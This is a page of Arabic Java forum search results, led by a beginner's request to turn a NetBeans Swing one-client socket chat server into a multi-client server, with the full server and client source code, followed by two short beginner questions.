• الإعلانات

    • فيصل الحربي

      تسجيل عضوية جديدة في المنتدى   01/31/2016

      السلام عليكم ورحمة الله وبركاته  عزيزي العضو الجديد :  حاليا رسالة الإيميل لتأكيد صحة إيميلكم تذهب للبريد العشوائي ( جاري حل المشكلة )  فإذا لم تجد رسالة التحقق من إيميلكم في صندوق الوارد لديكم إتجه للبريد العشوائي ( JUNK)  وقم بتفعيل إشتراككم من هناك   

البحث في المنتدى

Showing results for tags 'جافا'.

  • البحث بالتاقات

    اكتب الكلمات المفتاحيه بينها علامه الفاصله
  • البحث بكاتب الموضوع

تم إيجاد 48 نتيجة

  1. السلام عليكم ورحمة الله تعالى وبركاته  قمت بعمل هذا البرنامج الصغير للشات في netbeans7.4 بين السيرفر وشخص آخر (زبون), لكن هذا السيرفر يعمل مع زبون واحد فقط وأريد أن أحوله إلى server multi-clients بحيث يستطيع التحدث مع عذة زبائن في نفس الوقت     **لقد وضعت البرنامج في المرفقات أرجو المساعدة وشكرا** ها هي واجهة السيرفر    ;وهذه واجة client        شيفرة السيرفر : import java.awt.Component;import java.io.DataInputStream;import java.io.IOException;import java.io.PrintStream;import java.net.ServerSocket;import java.net.Socket;import javax.swing.JOptionPane;import javax.swing.JTextArea;public class Server extends javax.swing.JFrame { private static ServerSocket serverSocket; private static int porte; public static DataInputStream getin; private static PrintStream getout; private static String name; private static String Clientname; public static Socket socket ; public static String message; public Server() { setTitle("Server"); setBounds(700,100,372, 468); setResizable(false); initComponents(); Btnarreter.setEnabled(false); } @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code"> private void initComponents() { PL1 = new javax.swing.JPanel(); jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel(); Tporte = new javax.swing.JTextField(); Tnom = new javax.swing.JTextField(); Btnarreter = new javax.swing.JButton(); Btndemarer = new javax.swing.JButton(); PL2 = new javax.swing.JPanel(); jLabel3 = new javax.swing.JLabel(); Tmessage = new javax.swing.JTextField(); Btnenvoyer = new javax.swing.JButton(); PL3 = new javax.swing.JPanel(); listeclient = new java.awt.List(); jLabel4 = new javax.swing.JLabel(); jScrollPane1 = new javax.swing.JScrollPane(); Message = new javax.swing.JTextArea(); jLabel5 = new javax.swing.JLabel(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); PL1.setBorder(javax.swing.BorderFactory.createEtchedBorder()); jLabel1.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N jLabel1.setText("Porte :"); jLabel2.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N jLabel2.setText("Nom :"); Tporte.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Tnom.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Btnarreter.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N Btnarreter.setText("Arrèter"); Btnarreter.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { BtnarreterActionPerformed(evt); } }); Btndemarer.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N Btndemarer.setText("Démarer"); Btndemarer.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { BtndemarerActionPerformed(evt); } }); javax.swing.GroupLayout PL1Layout = new javax.swing.GroupLayout(PL1); PL1.setLayout(PL1Layout); PL1Layout.setHorizontalGroup( PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL1Layout.createSequentialGroup() .addGap(19, 19, 19) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 41, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, 38, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGap(27, 27, 27) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(Tporte, javax.swing.GroupLayout.PREFERRED_SIZE, 138, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Tnom, javax.swing.GroupLayout.PREFERRED_SIZE, 138, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(Btnarreter, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 97, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Btndemarer, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 97, javax.swing.GroupLayout.PREFERRED_SIZE)) .addContainerGap()) ); PL1Layout.setVerticalGroup( PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL1Layout.createSequentialGroup() .addGap(21, 21, 21) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(Tnom, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, 24, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Btndemarer)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 24, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Tporte, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Btnarreter)) .addContainerGap(28, Short.MAX_VALUE)) ); PL2.setBorder(javax.swing.BorderFactory.createEtchedBorder()); jLabel3.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N jLabel3.setText("Méssage à envoyer :"); Btnenvoyer.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N Btnenvoyer.setText("Envoyer"); Btnenvoyer.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { BtnenvoyerActionPerformed(evt); } }); javax.swing.GroupLayout PL2Layout = new javax.swing.GroupLayout(PL2); PL2.setLayout(PL2Layout); PL2Layout.setHorizontalGroup( PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL2Layout.createSequentialGroup() .addContainerGap() .addGroup(PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL2Layout.createSequentialGroup() .addComponent(Tmessage) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(Btnenvoyer, javax.swing.GroupLayout.PREFERRED_SIZE, 95, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGroup(PL2Layout.createSequentialGroup() .addComponent(jLabel3) .addGap(0, 0, Short.MAX_VALUE))) .addContainerGap()) ); PL2Layout.setVerticalGroup( PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL2Layout.createSequentialGroup() .addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, 22, javax.swing.GroupLayout.PREFERRED_SIZE) .addGroup(PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL2Layout.createSequentialGroup() .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 18, Short.MAX_VALUE) .addComponent(Btnenvoyer) .addGap(87, 87, 87)) .addGroup(PL2Layout.createSequentialGroup() .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(Tmessage) .addContainerGap()))) ); PL3.setBorder(javax.swing.BorderFactory.createEtchedBorder()); jLabel4.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N jLabel4.setText(" Liste de client"); Message.setColumns(20); Message.setRows(5); jScrollPane1.setViewportView(Message); jLabel5.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N jLabel5.setText("Message réçu :"); javax.swing.GroupLayout PL3Layout = new javax.swing.GroupLayout(PL3); PL3.setLayout(PL3Layout); PL3Layout.setHorizontalGroup( PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL3Layout.createSequentialGroup() .addContainerGap() .addGroup(PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL3Layout.createSequentialGroup() .addGap(0, 9, Short.MAX_VALUE) .addComponent(jLabel4) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jLabel5)) .addGroup(PL3Layout.createSequentialGroup() .addComponent(listeclient, javax.swing.GroupLayout.PREFERRED_SIZE, 119, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(0, 0, Short.MAX_VALUE))) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 244, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap()) ); PL3Layout.setVerticalGroup( PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, PL3Layout.createSequentialGroup() .addContainerGap() .addGroup(PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) .addComponent(jScrollPane1) .addGroup(PL3Layout.createSequentialGroup() .addGroup(PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL3Layout.createSequentialGroup() .addComponent(jLabel5) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addGroup(PL3Layout.createSequentialGroup() .addGap(0, 12, Short.MAX_VALUE) .addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, 29, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(1, 1, 1))) .addComponent(listeclient, javax.swing.GroupLayout.PREFERRED_SIZE, 128, javax.swing.GroupLayout.PREFERRED_SIZE))) .addContainerGap()) ); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(PL1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(PL2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(PL3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addContainerGap()) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addComponent(PL1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(PL2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(PL3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addContainerGap()) ); pack(); }// </editor-fold> private void BtndemarerActionPerformed(java.awt.event.ActionEvent evt) { // String j; // j=Tporte.getText(); // porte = Integer.parseInt(j) ; porte = Integer.valueOf(Tporte.getText()).intValue(); name = Tnom.getText(); try{ serverSocket = new ServerSocket(porte); socket = serverSocket.accept(); getin = new DataInputStream(socket.getInputStream()); getout = new PrintStream(socket.getOutputStream()); getout.println(name); Clientname = getin.readLine(); Message.append("You are connecting with : "+Clientname+"\n"); Message.append("\n"); listeclient.addItem(Clientname); }catch(Exception ex){ JOptionPane.showMessageDialog(this, "Error in connecting...!!! "); } Thread th = new acceptread(); th.start(); Btndemarer.setEnabled(false); Btnarreter.setEnabled(true); } private void BtnenvoyerActionPerformed(java.awt.event.ActionEvent evt) { try{ getout.println(Tmessage.getText()); Tmessage.setText(""); }catch(Exception ex){ JOptionPane.showMessageDialog(this, "Error in sending the message.....!!! "); } } private void BtnarreterActionPerformed(java.awt.event.ActionEvent evt) { try{ socket.close(); serverSocket.close(); }catch(Exception ex){ JOptionPane.showMessageDialog(this, "Error in Disconnecting.....!!! "); } Btndemarer.setEnabled(true); } class acceptread extends Thread{ public void run(){ while(true){ try{ message= getin.readLine(); if (message == null){ Message.append(Clientname+" say : good bye"+ "\n"); break; } else{ Message.append(Clientname+" say : "+message+ "\n"); } }catch(Exception ex){ System.out.println(" Error in reading the message...!!!"); } } }} /** * @param args the command line arguments */ public static void main(String args[]) { //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "> /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html */ try { for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(info.getName())) { javax.swing.UIManager.setLookAndFeel(info.getClassName()); break; } } } catch (ClassNotFoundException ex) { java.util.logging.Logger.getLogger(Server.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (InstantiationException ex) { java.util.logging.Logger.getLogger(Server.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (IllegalAccessException ex) { java.util.logging.Logger.getLogger(Server.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (javax.swing.UnsupportedLookAndFeelException ex) { java.util.logging.Logger.getLogger(Server.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } //</editor-fold> /* Create and display the form */ java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new Server().setVisible(true); } }); } // Variables declaration - do not modify private javax.swing.JButton Btnarreter; private javax.swing.JButton Btndemarer; private javax.swing.JButton Btnenvoyer; public static javax.swing.JTextArea Message; private javax.swing.JPanel PL1; private javax.swing.JPanel PL2; private javax.swing.JPanel PL3; private javax.swing.JTextField Tmessage; private javax.swing.JTextField Tnom; private javax.swing.JTextField Tporte; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JScrollPane jScrollPane1; private java.awt.List listeclient; // End of variables declaration }شيفرة الزبون : import java.io.DataInputStream;import java.io.IOException;import java.io.InputStreamReader;import java.io.OutputStreamWriter;import java.io.PrintStream;import java.io.PrintWriter;import java.net.Socket;import javax.swing.JOptionPane; public class Client extends javax.swing.JFrame { private static int porte; public static DataInputStream getin; private static PrintStream getout; private static String name; private static String ip; private static String servername; public static Socket socket ; public Client() { setBounds(200,100,425,468); setResizable(false); //on intérde la redimentionnement de fenètre initComponents(); Btndeconnecter.setEnabled(false); } @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code"> private void initComponents() { PL1 = new javax.swing.JPanel(); jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel(); jLabel3 = new javax.swing.JLabel(); Tnom = new javax.swing.JTextField(); Tip = new javax.swing.JTextField(); Tporte = new javax.swing.JTextField(); Btnconnecter = new javax.swing.JButton(); Btndeconnecter = new javax.swing.JButton(); PL2 = new javax.swing.JPanel(); jLabel4 = new javax.swing.JLabel(); Tmessage = new javax.swing.JTextField(); Btnenvoyer = new javax.swing.JButton(); PL3 = new javax.swing.JPanel(); jLabel5 = new javax.swing.JLabel(); jScrollPane1 = new javax.swing.JScrollPane(); Messagerecu = new javax.swing.JTextArea(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); setTitle("Client"); PL1.setBorder(javax.swing.BorderFactory.createEtchedBorder()); jLabel1.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N jLabel1.setText("IP :"); jLabel2.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N jLabel2.setText("Porte :"); jLabel3.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N jLabel3.setText("Nom :"); Tnom.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Tip.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Tporte.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Btnconnecter.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N Btnconnecter.setText("Connect"); Btnconnecter.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { BtnconnecterActionPerformed(evt); } }); Btndeconnecter.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N Btndeconnecter.setText(" Disconnect "); Btndeconnecter.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { BtndeconnecterActionPerformed(evt); } }); javax.swing.GroupLayout PL1Layout = new javax.swing.GroupLayout(PL1); PL1.setLayout(PL1Layout); PL1Layout.setHorizontalGroup( PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL1Layout.createSequentialGroup() .addContainerGap() .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) .addComponent(jLabel1, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(jLabel3, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addComponent(jLabel2)) .addGap(19, 19, 19) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) .addComponent(Tip, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 140, Short.MAX_VALUE) .addComponent(Tnom, javax.swing.GroupLayout.Alignment.LEADING) .addComponent(Tporte)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) .addComponent(Btnconnecter, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(Btndeconnecter, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addContainerGap()) ); PL1Layout.setVerticalGroup( PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, PL1Layout.createSequentialGroup() .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, 23, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Tnom)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 23, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Tip)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, 23, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Tporte)) .addGap(33, 33, 33)) .addGroup(PL1Layout.createSequentialGroup() .addGap(30, 30, 30) .addComponent(Btnconnecter) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addComponent(Btndeconnecter) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); PL2.setBorder(javax.swing.BorderFactory.createEtchedBorder()); jLabel4.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N jLabel4.setText("Méssage à envoyer :"); Tmessage.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Btnenvoyer.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N Btnenvoyer.setText("Envoyer"); Btnenvoyer.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { BtnenvoyerActionPerformed(evt); } }); javax.swing.GroupLayout PL2Layout = new javax.swing.GroupLayout(PL2); PL2.setLayout(PL2Layout); PL2Layout.setHorizontalGroup( PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL2Layout.createSequentialGroup() .addGap(20, 20, 20) .addComponent(Tmessage) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(Btnenvoyer, javax.swing.GroupLayout.PREFERRED_SIZE, 90, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap()) .addGroup(PL2Layout.createSequentialGroup() .addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, 139, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(0, 0, Short.MAX_VALUE)) ); PL2Layout.setVerticalGroup( PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, PL2Layout.createSequentialGroup() .addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, 27, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 23, Short.MAX_VALUE) .addGroup(PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(Tmessage, javax.swing.GroupLayout.PREFERRED_SIZE, 124, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Btnenvoyer)) .addContainerGap()) ); PL3.setBorder(javax.swing.BorderFactory.createEtchedBorder()); PL3.setForeground(new java.awt.Color(5, 0, 5)); jLabel5.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N jLabel5.setText("Méssage reçu :"); Messagerecu.setColumns(20); Messagerecu.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Messagerecu.setRows(5); jScrollPane1.setViewportView(Messagerecu); javax.swing.GroupLayout PL3Layout = new javax.swing.GroupLayout(PL3); PL3.setLayout(PL3Layout); PL3Layout.setHorizontalGroup( PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL3Layout.createSequentialGroup() .addContainerGap() .addComponent(jLabel5, javax.swing.GroupLayout.PREFERRED_SIZE, 111, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, PL3Layout.createSequentialGroup() .addContainerGap(103, Short.MAX_VALUE) .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 353, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap()) ); PL3Layout.setVerticalGroup( PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL3Layout.createSequentialGroup() .addComponent(jLabel5, javax.swing.GroupLayout.PREFERRED_SIZE, 18, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 138, Short.MAX_VALUE) .addContainerGap()) ); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(PL1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(PL2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(PL3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addContainerGap()) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addComponent(PL1, javax.swing.GroupLayout.PREFERRED_SIZE, 111, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(PL2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(PL3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap()) ); pack(); }// </editor-fold> private void BtnconnecterActionPerformed(java.awt.event.ActionEvent evt) { name = Tnom.getText(); ip = Tip.getText(); porte = Integer.valueOf(Tporte.getText()).intValue(); try{ socket = new Socket(ip, porte); getin = new DataInputStream(socket.getInputStream()); getout = new PrintStream(socket.getOutputStream()); getout.println(name); servername = getin.readLine(); Messagerecu.append("You are connecting with : "+servername+"\n"); Messagerecu.append("\n"); }catch(Exception ex){ JOptionPane.showMessageDialog(this, "Error in connecting....!!! "); } Thread th = new acceptread(); th.start(); Btnconnecter.setEnabled(false); Btndeconnecter.setEnabled(true); } private void BtndeconnecterActionPerformed(java.awt.event.ActionEvent evt) { try{ socket.close(); }catch(Exception ex){ JOptionPane.showMessageDialog(this, "Error in Diconnecting....!!! "); } Btnconnecter.setEnabled(true); } private void BtnenvoyerActionPerformed(java.awt.event.ActionEvent evt) { try{ getout.println(Tmessage.getText()); Tmessage.setText(""); }catch(Exception ex){ JOptionPane.showMessageDialog(this, "Error in sending the message....!!! "); } } class acceptread extends Thread{ public void run(){ while(true){ try{ message= getin.readLine(); if (message == null){ Messagerecu.append(servername+" say : Good bye"+ "\n"); break; } else{ Messagerecu.append(servername+" say : "+message+ "\n"); } }catch(Exception ex){ System.out.println(" Error in reading the message..!!"); } } }} /** * @param args the command line arguments */ public static void main(String args[]) { /* Set the Nimbus look and feel */ //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "> /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html */ try { for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(info.getName())) { javax.swing.UIManager.setLookAndFeel(info.getClassName()); break; } } } catch (ClassNotFoundException ex) { java.util.logging.Logger.getLogger(Client.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (InstantiationException ex) { java.util.logging.Logger.getLogger(Client.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (IllegalAccessException ex) { java.util.logging.Logger.getLogger(Client.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (javax.swing.UnsupportedLookAndFeelException ex) { java.util.logging.Logger.getLogger(Client.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } //</editor-fold> /* Create and display the form */ java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new Client().setVisible(true); } }); } private static String message; // Variables declaration - do not modify private javax.swing.JButton Btnconnecter; private javax.swing.JButton Btndeconnecter; private javax.swing.JButton Btnenvoyer; public static javax.swing.JTextArea Messagerecu; private javax.swing.JPanel PL1; private javax.swing.JPanel PL2; private javax.swing.JPanel PL3; private javax.swing.JTextField Tip; private javax.swing.JTextField Tmessage; private javax.swing.JTextField Tnom; private javax.swing.JTextField Tporte; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JScrollPane jScrollPane1; // End of variables declaration } وشكرا جزيلا لكم جميعا  بارك الله فيكم  Tpreseau.rar
  2. السلام عليكم   اخواني عندي سؤال   ماهو الكلاس و ماهو الكائن ؟     ارجوكم ساعدوني لم افهم شيئا في هذه المصطلحات       و جزاكم الله كل خير
  3. أرجو المساعدة

